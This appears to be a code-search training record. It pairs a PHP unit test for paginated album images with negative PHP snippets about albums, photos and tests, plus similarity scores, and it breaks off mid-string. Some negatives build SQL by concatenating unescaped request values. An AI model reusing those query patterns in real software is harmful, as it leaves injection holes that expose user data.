"public function getPhotoAlbums($iPage, $iLimit = 2) {\n \t$bIsUserProfile = false;\n \t\n \tif (defined('PHPFOX_IS_USER_PROFILE')) {\n \t\t$bIsUserProfile = true;\n \t\t$aUser = Phpfox::getService('user')->get($this->_aParams['user_id']); \t\t\t\n \t}\n \t\n \t$oLibSearch = Phpfox::getLib('search');\n \tPhpfox::getLib('request')->set('page', $iPage);\n \t\n \t\n $aBrowseParams = array(\n\t\t\t'module_id' => 'photo.album',\n\t\t\t'alias' => 'pa',\n\t\t\t'field' => 'album_id',\n\t\t\t'table' => Phpfox::getT('photo_album'),\n\t\t\t'hide_view' => array('pending', 'myalbums')\n\t\t);\t\t\n\t\t\n\t\t$oLibSearch->set(array(\n\t\t\t\t'type' => 'photo.album',\n\t\t\t\t'field' => 'pa.album_id',\t\t\t\t\n\t\t\t\t'search_tool' => array(\n\t\t\t\t\t'table_alias' => 'pa',\n\t\t\t\t\t'search' => array(\n\t\t\t\t\t\t'default_value' => Phpfox::getPhrase('photo.search_photo_albums'),\n\t\t\t\t\t\t'name' => 'search',\n\t\t\t\t\t\t'field' => 'pa.name'\n\t\t\t\t\t),\n\t\t\t\t\t'sort' => array(\n\t\t\t\t\t\t'latest' => array('pa.time_stamp', Phpfox::getPhrase('photo.latest')),\n\t\t\t\t\t\t'most-talked' => array('pa.total_comment', Phpfox::getPhrase('photo.most_discussed'))\n\t\t\t\t\t),\n\t\t\t\t\t'show' => array($iLimit)\n\t\t\t\t)\n\t\t\t)\n\t\t);\t\t\t\n\t\tif ($bIsUserProfile)\n\t\t{\n\t\t\t$oLibSearch->setCondition('AND pa.view_id ' . ($aUser['user_id'] == Phpfox::getUserId() ? 'IN(0,2)' : '= 0') . ' AND pa.privacy IN(' . (Phpfox::getParam('core.section_privacy_item_browsing') ? '%PRIVACY%' : Phpfox::getService('core')->getForBrowse($aUser)) . ') AND pa.user_id = ' . (int) $aUser['user_id']);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif ($this->request()->get('view') == 'myalbums')\n\t\t\t{\n\t\t\t\tPhpfox::isUser(true);\n\n\t\t\t\t$oLibSearch->setCondition('AND pa.user_id = ' . Phpfox::getUserId());\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$oLibSearch->setCondition('AND pa.view_id = 0 AND pa.privacy IN(%PRIVACY%) AND pa.total_photo > 0');\n\t\t\t}\n\t\t}\n\t\t$aParentModule = $this->_aParams;\n \tif ($aParentModule !== null && !empty($aParentModule['item_id']))\n\t\t{\n\t\t\t$this->search()->setCondition('AND pa.module_id = \\'' . $aParentModule['module_id']. '\\' AND pa.group_id = ' . (int) $aParentModule['item_id']);\n\t\t}\n\t\t\n $oLibSearch->browse()->params($aBrowseParams)->execute();\n\t\t\n\t\t$aAlbums = $oLibSearch->browse()->getRows();\n\t\t$iCnt = $oLibSearch->browse()->getCount();\t\n\n\t\tforeach ($aAlbums as $iKey => $aAlbum) {\n\t\t\t$aAlbums[$iKey] = $this->processAlbum($aAlbum);\n\t\t}\n\n\t\tPhpfox::getLib('pager')->set(array('page' => $iPage, 'size' => $oLibSearch->getDisplay(), 'count' => $oLibSearch->browse()->getCount()));\n\t\t\n return array($iCnt, $aAlbums);\n }",
"function getAlbumsById($parameter) //récupère les infos de l'Album correspondant à l'album_id passé en paramètre\n\t\t{\n\t\t\t//$tabParameter = explode(\" \", $parameter);\n\t\t\t$request = \" albums 0 1000 album_id:$parameter tags:Itj\\n\";\n\t\t\t//echo \" contenu de request:$request\";\n\t\t\t$mySqueezeCLI = new SqueezeCLI($request);\n\t\t\t$response = $mySqueezeCLI->receiveCLI();\n\t\t\treturn $response;\n\t\t}",
"public function index()\n {\n $albums = Album::with('photos')->get();\n return AlbumsResource::collection($albums);\n }",
"public function albums(){\n $albums = Album::all();\n return view('admin.albums')->with('albums', $albums);\n }",
"public function testGetAll()\n {\n $response = $this->get('/api/Product/GetAll/');\n\n $response->assertStatus(200);\n $response->assertJsonStructure(['data' =>\n [\n '*' =>[\n 'name'\n ]\n ],\n ]);\n\n }",
"public function test_get_all_books()\n {\n $randomBook = Book::factory()->create();\n $response = $this->getJson('/api/v1/books');\n $response\n ->assertStatus(200)\n ->assertJson([\n \"status_code\" => 200,\n \"status\" => \"success\",\n \"data\" => [\n [\n \"id\" => $randomBook->id,\n \"name\" => $randomBook->name,\n \"isbn\" => $randomBook->isbn,\n \"authors\" => $randomBook->authors,\n \"number_of_pages\" => $randomBook->number_of_pages,\n \"publisher\" => $randomBook->publisher,\n \"country\" => $randomBook->country,\n \"release_date\" => $randomBook->release_date,\n ],\n ]\n ]);\n }",
"public function testGetAllCategories()\n {\n $company1= factory(\\App\\Src\\Company\\Company::class, 1)->create(['name_en'=>uniqid()]);\n $company2= factory(\\App\\Src\\Company\\Company::class, 1)->create(['name_en'=>uniqid()]);\n\n $category1 = factory(\\App\\Src\\Category\\Category::class, 1)->create(['name_en'=>uniqid()]);\n $category1->companies()->sync([$company1->id]);\n\n $category2 = factory(App\\Src\\Category\\Category::class,1)->create(['name_en'=>uniqid()]);\n\n $this->get('/api/v1/categories')\n ->seeJsonContains(['name_en'=>$category1->name,'name_en'=>$category2->name,'name_en'=>$company1->name])\n ->dontSeeJson(['name_en'=>$company2->name])\n ;\n\n }",
"public function getAllThePhotosAccordingTolAlbum($offset,$photo_per_page,$albumId){\n\t\t try{\n\t\t\t $conn=DBConnection::GetConnection();\n\t\t\t $myQuery=\"SELECT photo FROM photo WHERE album_id='\".$albumId.\"' LIMIT $offset,$photo_per_page\";\n\t\t\t $result=$conn->query($myQuery);\n\t\t\t foreach($result as $image){\n\t\t\t\t array_push($this->photos,$image['photo']);\n\t\t\t }\n\t\t\t $conn=null;\n\t\t\t return $this->photos;\n\t\t }catch(PDOException $p){\n\t\t\t echo 'Fail to connect';\n\t\t\t echo $p->getMessage();\n\t\t }\n\t }",
"function testFindAppearsOn() {\n\t\t$result = $this->Album->find('appearsOn', array('limit' => 1, 'order' => 'release_date ASC'));\n\n\t\t$this->assertNotEmpty($result);\n\t\t$this->assertEquals($result[0]['Album']['title'], 'Knifetank (The Albumhole)');\n\t}",
"public function testFindAllByName()\n {\n $this->assertCount(2, $this->appService->findAllByName('api'));\n }",
"public function getAlbumInfoAction()\n {\n \t$params = $this->getRequest()->getParams();\n\n \t$result = \\Extended\\socialise_album::getSocialiseAlbumInfo( $params['album_id'] );\n \n \tif( $result ):\n \techo Zend_Json::encode( $result );\n \telse:\n \t//Wallpost doesnot exist anymore.\n \techo Zend_Json::encode( 2 );\n \tendif;\n \tdie;\n }",
"public function getArtistWithAlbum()\n {\n return $this\n ->selectRaw('artists.id, artists.name, avatar, artists.slug, title, cover, count(*) as album_total')\n ->leftJoin('albums', 'artists.id', '=', 'albums.artist')\n ->groupBy('artists.id')\n ->orderBy('artists.name', 'asc')\n ->paginate(15);\n }",
"public function getAlbumById($album_id) {\n $query = \"SELECT\n al.id,\n al.name,\n al.year,\n al.version,\n al.location,\n al.sport,\n al.event_type,\n al.manufacturer,\n al.url\n FROM \" . $this->__schema . \".album al\n WHERE al.id = \" . $this->db()->quote($album_id);\n $data = $this->db()->getRow($query);\n if ($data) {\n return [\n 'success' => TRUE,\n 'payload' => $data,\n ];\n }\n else {\n return [\n 'success' => FALSE,\n 'payload' => NULL,\n ];\n }\n }",
"public function testIndexActionHasExpectedData()\n {\n $this->dispatch('/index');\n $this->assertQueryContentContains('h1', 'My Albums');\n\n // At this point, i'd like to do a basic listing count of items.\n // However, we're not using a seperate test db with controlled seeds.\n // $this->assertQueryCount('table tr', 6);\n }",
"public function testAll()\n {\n $this->assertEquals(['foo' => 'bar'], $this->container->all());\n }",
"function listAlbums($parameter)\n\t\t{\n\t\t\t//$parameter = substr($parameter, 0,strpos($parameter, 'count'));\n\t\t\t//$parameter = substr($parameter, strrpos($parameter, 'genres 0 '));\n\t\t\t$tabParameter = split(\" id:\", $parameter);\n\t\t\t//print_r($tabParameter);\n\t\t\t$i = 2;\n\t\t\t$len = count($tabParameter);\n\t\t\t//print_r($tabParameter);\n\n\t\t\tforeach ($tabParameter as $key => $value) \n\t\t\t{\n\t\t\t\tif ($key > 0 && $i < $len ) \n\t\t\t\t{\n\t\t\t\t\t//$id = get_string_between($value,\"id:\",\" artwork_track_id\");\n\t\t\t\t\t$id = substr($value, 0,strpos($value, \" \"));\n\t\t\t\t\t$artwork = get_string_between($value,\"artwork_track_id:\",\" title:\");\n\t\t\t\t\t$title = substr($value,strpos($value, \"title:\"));\n\t\t\t\t\t//echo \"contenu de title: $title\";\n\t\t\t\t\t//$title = substr_replace($title, '', strpos($title, ' count:'));\n\t\t\t\t\t//echo \"titre après replace: $title\";\n\t\t\t\t\t//$title = substr_replace($value, '', strpos($value, \"count\"));\n\t\t\t\t\t\n\n\n\t\t\t\t//list($id,$genre)=explode(\" genre:\", $tabParameter[$key]);\n\t\t\t\t\techo \"<li id=\\\"$title$id\\\">$title</li>\";\n\t\t\t\t\techo \"<img id=\\\"$artwork\\\" src=\\\"http://\".$_SESSION['LMS']['server'].\":9000/music/$artwork/cover_96x96_p.png\\\"/>\";\n\t\t\t\t\t$i++;\n\t\t\t\t\t//echo \"i et len : $i $len\";\n\t\t\t\t}\n\n\t\t\t\telseif ($i == $len)\n\t\t\t\t {\n\t\t\t\t\t//$id = get_string_between($value,\"id:\",\" artwork_track_id\");\n\t\t\t\t\t$id = substr($value, 0,strpos($value, \" \"));\n\t\t\t\t\t$artwork = get_string_between($value,\"artwork_track_id:\",\" title:\");\n\t\t\t\t\t$title = substr($value,strpos($value, \"title:\"));\n\t\t\t\t\t\n\t\t\t\t\t//echo \"contenu de title: $title\";\n\n\n\t\t\t\t//list($id,$genre)=explode(\" genre:\", $tabParameter[$key]);\n\t\t\t\t\techo \"<li class=\\\"album\\\" id=\\\"$title|$id\\\">$title</li>\";\n\t\t\t\t\techo \"<img class=\\\"album\\\" id=\\\"$artwork\\\" src=\\\"http://\".$_SESSION['LMS']['server'].\":9000/music/$artwork/cover_96x96_p.png\\\"/>\";\n\t\t\t\t\t$i++;\n\t\t\t\t }\n\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\n\t\t}",
"public function albumsAction($collectionId, Request $request, Application $app)\n {\n \t$albums = $app['repository.database']->getAlbumsByCollection($collectionId);\n\n // Get collection details\n $collection = $app['repository.database']->getCollection($collectionId);\n\n // Get itinaries details\n $itineraries = $app['repository.itinerary']->getItineraries($collectionId);\n\n\t\treturn $app['twig']->render('albums.html', array(\n 'albums' => $albums, \n 'collection' => $collection,\n 'itineraries' => $itineraries,\n ));\n }",
"public function getAlbums($feuser_uid) {\r\n\t\t$res = tx_cwtcommunity_lib_common::dbQuery('SELECT * FROM tx_cwtcommunity_albums WHERE cruser_id = \"'.intval($feuser_uid).'\" AND NOT deleted = \"1\" AND NOT hidden = 1;');\r\n\t\treturn $res;\r\n\t}",
"public function testFindAll() : void\n {\n /** @var EntityManager $em */\n $em = $this->getApplicationServiceLocator()->get(EntityManager::class);\n $postRepository = $em->getRepository(Post::class);\n static::assertNotEmpty($postRepository->findAll());\n }",
"function album_gallery_get_page_content_album($GUID_USER, $GUID)\n{\n\n if(!$GUID)\n {\n $immagine = elgg_view('elgg-album-gallery/error', array('error' => elgg_echo('gallery:no:imageshow')));\n $titolo = elgg_echo('gallery:title:error',array(elgg_echo('gallery:no:imageshow')));\n }\n else\n {\n //Take entities from in_album relationship\n $entita = elgg_get_entities_from_relationship(array(\n 'relationship' => 'in_album',\n 'owner_guid' => $GUID_USER,\n 'relationship_guid' => $GUID,\n 'inverse_relationship' => true,\n 'limit' => 0\n ));\n\n foreach ($entita as $key)\n $immagine .= elgg_view('elgg-album-gallery/album',array(\n 'title' => $key->title,\n 'icon' => $key->getIconURL('medium'),\n 'img_guid' => $key->guid,\n 'album_guid' => $GUID,\n 'guid_user' => $GUID_USER,\n 'action' => \"Delete Album\",\n 'loop' => true\n ));\n if($GUID_USER == elgg_get_logged_in_user_guid())\n {\n //To show delete action\n $immagine .= elgg_view('elgg-album-gallery/album',array(\n 'album_guid' => $GUID,\n 'guid_user' => $GUID_USER,\n 'action' => \"Delete Album\",\n 'loop' => false\n ));\n }\n }\n\n $return = array(\n 'title' => elgg_echo('gallery:title:showall'),\n 'content' => $immagine);\n return $return;\n}",
"function getAlbums($dom) {\n $albumURLs = array();\n $albumNames = array();\n $albums = $dom->find('ul.album_list',0);\n foreach($albums->find('li a') as $data){\n #print $data->href. \"\\n\";\n $albumURLs[] = $data->href;\n $albumNames[] = $data->plaintext;\n }\n return array(\"urls\"=>$albumURLs, \"names\"=>$albumNames);\n}",
"function getAlbums($dom) {\n $albumURLs = array();\n $albumNames = array();\n $albums = $dom->find('ul.album_list',0);\n foreach($albums->find('li a') as $data){\n #print $data->href. \"\\n\";\n $albumURLs[] = $data->href;\n $albumNames[] = $data->plaintext;\n }\n return array(\"urls\"=>$albumURLs, \"names\"=>$albumNames);\n}",
"protected function preparePublicAlbumAndHiddenAlbum(): void\n\t{\n\t\t$this->albumID1 = $this->albums_tests->add(null, TestConstants::ALBUM_TITLE_1)->offsetGet('id');\n\t\t$this->albumID2 = $this->albums_tests->add(null, TestConstants::ALBUM_TITLE_2)->offsetGet('id');\n\t\t$this->photoID1 = $this->photos_tests->upload(static::createUploadedFile(TestConstants::SAMPLE_FILE_MONGOLIA_IMAGE), $this->albumID1)->offsetGet('id');\n\t\t$this->photoID2 = $this->photos_tests->upload(static::createUploadedFile(TestConstants::SAMPLE_FILE_TRAIN_IMAGE), $this->albumID2)->offsetGet('id');\n\t\t$this->albums_tests->set_protection_policy(id: $this->albumID1);\n\t\t$this->albums_tests->set_protection_policy(id: $this->albumID2, is_link_required: true);\n\t\t$this->photos_tests->set_star([$this->photoID2], true);\n\t\tAuth::logout();\n\t\tSession::flush();\n\t\t$this->clearCachedSmartAlbums();\n\t\t$this->performPostPreparatorySteps();\n\t}",
"public function testShouldReturnAllGames()\n {\n $response = $this->call('GET', '/games/all');\n\n $this->assertTrue(500, $response->status());\n }",
"public function testGetAll() {\n return $this->assertIdentical($this->dao->getAll(), 'The Result');\n }",
"public function index(Request $request)\n {\n $user = JWTAuth::parseToken()->authenticate();\n\n if (Gate::forUser($user)->allows('albums', $user)) {\n //if is an admin and \"others\" param present, return all albums\n if($user->admin && $request->others){\n $records = $this->albumRepository->latests($request->page,$request->published,$request->search);\n $total = $this->albumRepository->latestsCount($request->search,$request->published);\n }else{\n $records = $this->albumRepository->latestsByUser($user,$request->published);\n $total = $user->albums()->count();\n }\n\n $albums = [];\n foreach($records as $record){\n $album = $this->prepareAlbumData($record,[]);\n array_push($albums,$album);\n }\n\n return response()->json([\n 'success' => true,\n 'meta' => [\n 'total' => $total,\n ],\n 'albums' => $albums\n ]);\n }else{\n return response()->json([\n 'success' => false,\n 'errors' => ['Not authorized to read albums'],\n ],403);\n }\n }",
"public function testGetUserPhotosSuccess()\n {\n $user = factory(\\App\\User::class)->make();\n\n $user->photos()->createMany(\n factory(\\App\\Photo::class, 3)->make()->toArray()\n );\n\n $response = $this->get('/photos');\n\n $response->assertStatus(200);\n }",
"function albums_get_images($album) {\n\t$files = read_dir_contents(ALBUMS_DIR.'/'.$album, 'files');\n\tif (!$files)\n\t\treturn FALSE;\n\n\telseif ($files) {\n\t\tnatcasesort($files);\n\t\tforeach ($files as $file) {\n\t\t\t$parts = explode('.', $file);\n\t\t\tif (count($parts) == 4) {\n\t\t\t\tlist($number, $fdirname, $ext, $php) = $parts;\n\t\t\t\tinclude_once (ALBUMS_DIR.'/'.$album.'/'.$file);\n\t\t\t\t$images[] = array(\n\t\t\t\t\t'title' => $name,\n\t\t\t\t\t'info' => $info,\n\t\t\t\t\t'seoname' => $fdirname,\n\t\t\t\t\t'filename' => $file,\n\t\t\t\t\t'filename_image' => $fdirname.'.'.$ext\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tunset($file);\n\n\t\treturn $images;\n\t}\n}",
"public function testGetArchiveList()\n {\n $href = '/fotoweb/me/archives/';\n\n $response = $this->client->getArchives(['href' => $href]);\n $this->assertInstanceOf(ResultInterface::class, $response,\n 'The response is not a proper Guzzle result.');\n $this->assertGreaterThan(0, $response->offsetGet('data'),\n 'The asset response should include a data property.');\n $this->assertArrayHasKey('paging', $response->getData(),\n 'The asset response should include a paging property.');\n }",
"public function test_resultsAreValidFormat() {\n $types = ['track'];\n\n foreach ($types as $tk => $type) {\n $searchInstance = new SpotifySearch('a', $type, SingletonTokenContainer::get());\n $results = $searchInstance->getNextPage()->get();\n\n foreach ($results as $ik => $item) {\n $this->assertNotEmpty($item->href);\n $this->assertNotEmpty($item->name);\n if ($type != 'track') {\n $this->assertNotEmpty($item->images);\n } else {\n $this->assertNotEmpty($item->album);\n }\n }\n }\n\n }",
"public function testLoaderAll()\n {\n $allItems = $this->tiresLoader->all();\n\n $this->assertContains(1,$allItems);\n $this->assertContains(2,$allItems);\n $this->assertContains(3,$allItems);\n $this->assertContains(4,$allItems);\n }",
"public function testList()\n {\n \t$games_factory = factory(Game::class, 3)->create();\n \t$games = Game::all();\n \t\n $this->assertCount(3, $games);\n }",
"public function testGetAllAuthors() {\n $this->get('/api/authors')\n ->seeJson(['id' => 2,]);\n }",
"public function getPhotos($album_id)\n {\n $client = new Client();\n\n // get JSON from the webservice and convert it into an assoc. array\n return json_decode($client->get(\"http://jsonplaceholder.typicode.com/album/${album_id}/photos\")->getBody(), true);\n\n }",
"public function gather_folder($limit = 5) {\n\n\t\t$media = new Album($this->uid);\n\t\t$songs = $media->get_songs();\n\t\t$results = array();\n\t\t$preferred = false;\n\t\t// For storing which directories we've already done\n\t\t$processed = array();\n\n\t\t/* See if we are looking for a specific filename */\n\t\t$preferred_filename = Config::get('album_art_preferred_filename');\n\n\t\t// Array of valid extensions\n\t\t$image_extensions = array(\n\t\t\t'bmp',\n\t\t\t'gif',\n\t\t\t'jp2',\n\t\t\t'jpeg',\n\t\t\t'jpg',\n\t\t\t'png'\n\t\t);\n\n\t\tforeach ($songs as $song_id) {\n\t\t\t$data = array();\n\t\t\t$song = new Song($song_id);\n\t\t\t$dir = dirname($song->file);\n\n\t\t\tif (isset($processed[$dir])) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tdebug_event('folder_art', \"Opening $dir and checking for Album Art\", 3);\n\n\t\t\t/* Open up the directory */\n\t\t\t$handle = opendir($dir);\n\n\t\t\tif (!$handle) {\n\t\t\t\tError::add('general', T_('Error: Unable to open') . ' ' . $dir);\n\t\t\t\tdebug_event('folder_art', \"Error: Unable to open $dir for album art read\", 2);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$processed[$dir] = true;\n\n\t\t\t// Recurse through this dir and create the files array\n\t\t\twhile ($file = readdir($handle)) {\n\t\t\t\t$extension = pathinfo($file);\n\t\t\t\t$extension = $extension['extension'];\n\n\t\t\t\t// Make sure it looks like an image file\n\t\t\t\tif (!in_array($extension, $image_extensions)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$full_filename = $dir . '/' . $file;\n\n\t\t\t\t// Make sure it's got something in it\n\t\t\t\tif (!filesize($full_filename)) {\n\t\t\t\t\tdebug_event('folder_art', \"Empty file, rejecting $file\", 5);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Regularise for mime type\n\t\t\t\tif ($extension == 'jpg') {\n\t\t\t\t\t$extension = 'jpeg';\n\t\t\t\t}\n\n\t\t\t\t// Take an md5sum so we don't show duplicate\n\t\t\t\t// files.\n\t\t\t\t$index = md5($full_filename);\n\n\t\t\t\tif ($file == $preferred_filename) {\n\t\t\t\t\t// We found the preferred filename and\n\t\t\t\t\t// so we're done.\n\t\t\t\t\tdebug_event('folder_art', \"Found preferred image file: $file\", 5);\n\t\t\t\t\t$preferred[$index] = array(\n\t\t\t\t\t\t'file' => $full_filename,\n\t\t\t\t\t\t'mime' => 'image/' . $extension\n\t\t\t\t\t);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tdebug_event('folder_art', \"Found image file: $file\", 5);\n\t\t\t\t$results[$index] = array(\n\t\t\t\t\t'file' => $full_filename,\n\t\t\t\t\t'mime' => 'image/' . $extension\n\t\t\t\t);\n\n\t\t\t} // end while reading dir\n\t\t\tclosedir($handle);\n\n\t\t} // end foreach songs\n\n\t\tif (is_array($preferred)) {\n\t\t\t// We found our favourite filename somewhere, so we need\n\t\t\t// to dump the other, less sexy ones.\n\t\t\t$results = $preferred;\n\t\t}\n\n\t\tdebug_event('folder_art', 'Results: ' . json_encode($results), 5);\n\t\tif ($limit && count($results) > $limit) {\n\t\t\t$results = array_slice($results, 0, $limit);\n\t\t}\n\n\t\treturn array_values($results);\n\n\t}",
"public function testBasicTest()\n {\n //$this->assertTrue(true);\n\n // Given I have two records in the database that are posts.\n\n // and each one is posted a month apart\n\n $first = factory(Article::class)->create();\n\n $second = factory(Article::class)->create([\n\n 'created_at' => \\Carbon\\Carbon::now()->subMonth(),\n ]);\n\n //when I fetch the archives\n $posts = Article::archives();\n\n //then the response should be the proper format.\n\n $this->assertCount(2, $posts);\n\n }"
]
| [
"0.71964335",
"0.71896136",
"0.718029",
"0.7131615",
"0.6999202",
"0.69774485",
"0.6926548",
"0.6881394",
"0.68349713",
"0.6700103",
"0.6645254",
"0.66048896",
"0.6491147",
"0.64903736",
"0.64357173",
"0.64257026",
"0.6390221",
"0.6379052",
"0.63738424",
"0.63686156",
"0.63390857",
"0.6324818",
"0.6303906",
"0.62948793",
"0.62736934",
"0.6249781",
"0.62480366",
"0.62438107",
"0.62219393",
"0.6213162",
"0.62125266",
"0.61999744",
"0.6181568",
"0.6149444",
"0.61227983",
"0.61186916",
"0.6116857",
"0.6087969",
"0.6087231",
"0.60658765",
"0.6044823",
"0.6038506",
"0.60365015",
"0.6032097",
"0.6006781",
"0.600204",
"0.60009706",
"0.5986795",
"0.5985568",
"0.5955678",
"0.5933834",
"0.59304184",
"0.59053355",
"0.5905305",
"0.58943343",
"0.5881894",
"0.58746636",
"0.5867849",
"0.58602446",
"0.585877",
"0.58469677",
"0.58468205",
"0.5839402",
"0.5829522",
"0.58242404",
"0.5818723",
"0.58123446",
"0.57918316",
"0.5791822",
"0.57906854",
"0.5784733",
"0.5766919",
"0.5765551",
"0.57468843",
"0.57352954",
"0.57325387",
"0.57284296",
"0.5728362",
"0.5724169",
"0.57216245",
"0.5720098",
"0.5714026",
"0.57001126",
"0.569097",
"0.5690367",
"0.5690367",
"0.568398",
"0.5681676",
"0.56809413",
"0.5664311",
"0.5659765",
"0.56572014",
"0.5656988",
"0.56492174",
"0.5646979",
"0.56469434",
"0.56456363",
"0.5645065",
"0.5643131",
"0.563717"
]
| 0.8215138 | 0 |
Test getting all albums logic | public function testGetAlbumImages($albumId = 1, $page = 1)
{
for($i = 1; 25 >= $i; $i++) {
// First, mock the object to be used in the test
$image = $this->createMock(Image::class);
$images[] = $image;
}
$paginatorEvent = $this
->getMockBuilder(SlidingPagination::class)
->setMethods(array('getPageCount', 'getItems'))
->disableOriginalConstructor()
->getMock();
$paginatorEvent->expects($this->once())
->method('getPageCount')
->will($this->returnValue(count($images)/Album::MAX_IMAGES_PER_PAGE));
$paginatorEvent->expects($this->once())
->method('getItems')
->will($this->returnValue(array_slice($images, ($page-1)*Album::MAX_IMAGES_PER_PAGE, ($page-1)*Album::MAX_IMAGES_PER_PAGE+Album::MAX_IMAGES_PER_PAGE)));
$paginator = $this
->getMockBuilder(Paginator::class)
->setMethods(array('paginate'))
->disableOriginalConstructor()
->getMock();
$paginator->expects($this->once())
->method('paginate')
->will($this->returnValue($paginatorEvent));
// Use the Abstract query, which has nearly all needed Methods as the Query.
$query = $this
->getMockBuilder(AbstractQuery::class)
->setMethods(array('setParameter', 'getResult'))
->disableOriginalConstructor()
->getMockForAbstractClass();
$imageRepository = $this
->getMockBuilder(ImageRepository::class)
->disableOriginalConstructor()
->getMock();
$imageRepository->expects($this->once())
->method('getAlbumImagesQuery')
->will($this->returnValue($query));
$entityManager = $this
->getMockBuilder(ObjectManager::class)
->disableOriginalConstructor()
->getMock();
$entityManager->expects($this->once())
->method('getRepository')
->will($this->returnValue($imageRepository));
$albumFatsManager = new AlbumManagerService($entityManager, $paginator, self::$serializer);
$result = json_decode($albumFatsManager->getAlbumImages($albumId, $page), true);
$this->assertArrayHasKey('items', $result);
$this->assertArrayHasKey('paging', $result);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function testGetAllAlbums()\n {\n for($i = 1; self::ALBUMS_TO_MOCK >= $i; $i++) {\n // First, mock the object to be used in the test\n $album = $this->createMock(Album::class);\n $albums[] = $album;\n }\n\n // Now, mock the repository so it returns the mock of the album\n $albumRepository = $this\n ->getMockBuilder(AlbumRepository::class)\n ->disableOriginalConstructor()\n ->getMock();\n $albumRepository->expects($this->once())\n ->method('findAll')\n ->will($this->returnValue($albums));\n\n // Last, mock the EntityManager to return the mock of the repository\n $entityManager = $this\n ->getMockBuilder(ObjectManager::class)\n ->disableOriginalConstructor()\n ->getMock();\n $entityManager->expects($this->once())\n ->method('getRepository')\n ->will($this->returnValue($albumRepository));\n\n $albumFatsManager = new AlbumManagerService($entityManager, self::$paginator, self::$serializer);\n\n $result = json_decode( $albumFatsManager->getAllAlbums(), true);\n $this->assertArrayHasKey('items', $result);\n }",
"public function testFetchAllSongs() {\n $songs = factory(Song::class)->create();\n\n $this->get('/graphql?query={songs{id,name,views,lyrics}}')\n ->assertStatus(200)\n ->assertExactJson([\n 'data' => [\n 'songs' => array([\n 'id' => $songs->id,\n 'name' => $songs->name,\n 'views' => $songs->views,\n 'lyrics' => $songs->lyrics\n ])\n ]\n ]);\n }",
"public function getAlbums()\n {\n $url = str_replace(\"[:action]\", \"albums\", self::ImgUrAPI_MINE_URL);\n $url = str_replace(\"[:user_id]\", $this->user_id, $url);\n $result = self::excuteHTTPSRequest($url, $this->accessToken);\n\n $_albums = '';\n\n foreach ($result['data'] as $item) {\n $_album = new ImgUrAlbum();\n $_album->setAttributes($item);\n $_albums[] = $_album;\n }\n\n return $_albums;\n }",
"public function testAlbums()\n {\n $widget = 'MeCms.Photos::albums';\n\n $expected = [\n ['div' => ['class' => 'widget mb-4']],\n 'h4' => ['class' => 'widget-title'],\n 'Albums',\n '/h4',\n ['div' => ['class' => 'widget-content']],\n 'form' => ['method' => 'get', 'accept-charset' => 'utf-8', 'action' => '/album/album'],\n ['div' => ['class' => 'form-group input select']],\n 'select' => ['name' => 'q', 'onchange' => 'sendForm(this)', 'class' => 'form-control'],\n ['option' => ['value' => '']],\n '/option',\n ['option' => ['value' => 'another-album-test']],\n 'Another album test (2)',\n '/option',\n ['option' => ['value' => 'test-album']],\n 'Test album (2)',\n '/option',\n '/select',\n '/div',\n '/form',\n '/div',\n '/div',\n ];\n $this->assertHtml($expected, $this->Widget->widget($widget)->render());\n\n //Renders as list\n $expected = [\n ['div' => ['class' => 'widget mb-4']],\n 'h4' => ['class' => 'widget-title'],\n 'Albums',\n '/h4',\n ['div' => ['class' => 'widget-content']],\n 'ul' => ['class' => 'fa-ul'],\n ['li' => true],\n ['i' => ['class' => 'fas fa-caret-right fa-li']],\n ' ',\n '/i',\n ['a' => ['href' => '/album/another-album-test', 'title' => 'Another album test']],\n 'Another album test',\n '/a',\n '/li',\n ['li' => true],\n ['i' => ['class' => 'fas fa-caret-right fa-li']],\n ' ',\n '/i',\n ['a' => ['href' => '/album/test-album', 'title' => 'Test album']],\n 'Test album',\n '/a',\n '/li',\n '/ul',\n '/div',\n '/div',\n ];\n $this->assertHtml($expected, $this->Widget->widget($widget, ['render' => 'list'])->render());\n\n //Empty on albums index\n $request = $this->Widget->getView()->getRequest()->withEnv('REQUEST_URI', Router::url(['_name' => 'albums']));\n $this->Widget->getView()->setRequest($request);\n $this->assertEmpty($this->Widget->widget($widget)->render());\n $this->Widget->getView()->setRequest(new ServerRequest());\n $this->assertEquals(2, Cache::read('widget_albums', $this->Table->getCacheName())->count());\n\n //With no photos\n $this->Table->deleteAll(['id IS NOT' => null]);\n $request = $this->Widget->getView()->getRequest()->withEnv('REQUEST_URI', '/');\n $this->Widget->getView()->setRequest($request);\n $this->assertEmpty($this->Widget->widget($widget)->render());\n $this->assertEmpty($this->Widget->widget($widget, ['render' => 'list'])->render());\n }",
"function showAllAlbum() {\n $sql = \"SELECT * FROM `itf_album`\";\n return $this->dbcon->FetchAllResults($sql);\n }",
"public function getAlbums()\n\t{\n\t\treturn Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'azgallery_album`');\n\t}",
"public function loadAlbums()\n {\n\t\t$json = file_get_contents('https://itunes.apple.com/us/rss/topalbums/limit=100/json');\n \n $albums = json_decode($json, true);\n $category_sql = \"INSERT IGNORE INTO categories (name, category_id, link) VALUES (:name, :category_id, :link)\";\n\t\t$album_sql = \"INSERT IGNORE INTO albums (album_id, name, artist, artist_link, category_id, release_date, rank) VALUES (:album_id, :name, :artist, :artist_link, :category_id, :release_date, :rank)\";\n\t\t$images_sql = \"INSERT IGNORE INTO album_art (album_id, album_image, image_size) VALUES (:album_id, :album_image, :image_size)\";\n\n\t\t//Lets delete whatever is in these tables before adding to them.\n\t\t$this->purgeTables();\n \n foreach($albums['feed']['entry'] as $rank=>$album) {\n\t\t\t\n\t\t\t//Insterts categories\n\t\t\t$stmt= $this->db->prepare($category_sql);\n\t\t\t\n\t\t\t$data = [\n\t\t\t\t'name' => $album['category']['attributes']['label'],\n\t\t\t\t'category_id' => 